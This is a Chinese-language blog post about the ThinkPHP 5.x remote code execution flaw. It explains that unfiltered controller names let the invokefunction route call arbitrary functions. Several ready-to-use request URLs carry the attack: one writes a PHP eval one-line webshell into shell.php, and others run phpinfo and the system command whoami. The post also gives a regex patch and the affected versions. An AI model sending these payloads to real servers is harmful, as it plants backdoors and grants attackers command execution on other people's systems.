thinkPHP5远程执行命令漏洞:通过路由即可拿到webshell

分享于:2019-09-18 20:58:27

由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下拿到webshell。


出现漏洞的地方在think\App下:


1.png


访问这样的路径:


http://serverName/?s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php


就会在public目录下生成一个一句话木马:


1.png

1.png


产生漏洞的原因:


thinkPHP在没有强制路由的情况下,是可以这样访问的:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]


比对下漏洞URL(s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php):

home=》模块

\think\app=》控制器

invokefunction=》操作

function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php=》参数名/参数值


看到这应该很清楚了,TP未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。


修复的方法:


对控制器加上正则验证:

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

1.png


额外说明:


s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php


执行的是think\App下的invokeFunction方法。


1.png

给这个方法第一个参数传call_user_func_array,

第二个参数是数组

vars[0]=system

vars[1][]=echo ^<?php @eval($_GET["code"])?^>>UF/shell.php


等于访问

s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php

相当于执行了这样的一个函数

call_user_func_array('system',["echo ^<?php @eval($_GET["code"])?^>>UF/shell.php"]);


call_user_func_array的作用就是用来回调各种函数的,有了这样的漏洞,可以执行各种函数。


例如:

?s=home/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

执行phpinfo函数。

?s=home/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

查询Linux web当前所属用户


受影响的TP版本:


ThinkPHP 5.x

5.1.x ~ 5.1.31

5.0.x ~ 5.0.23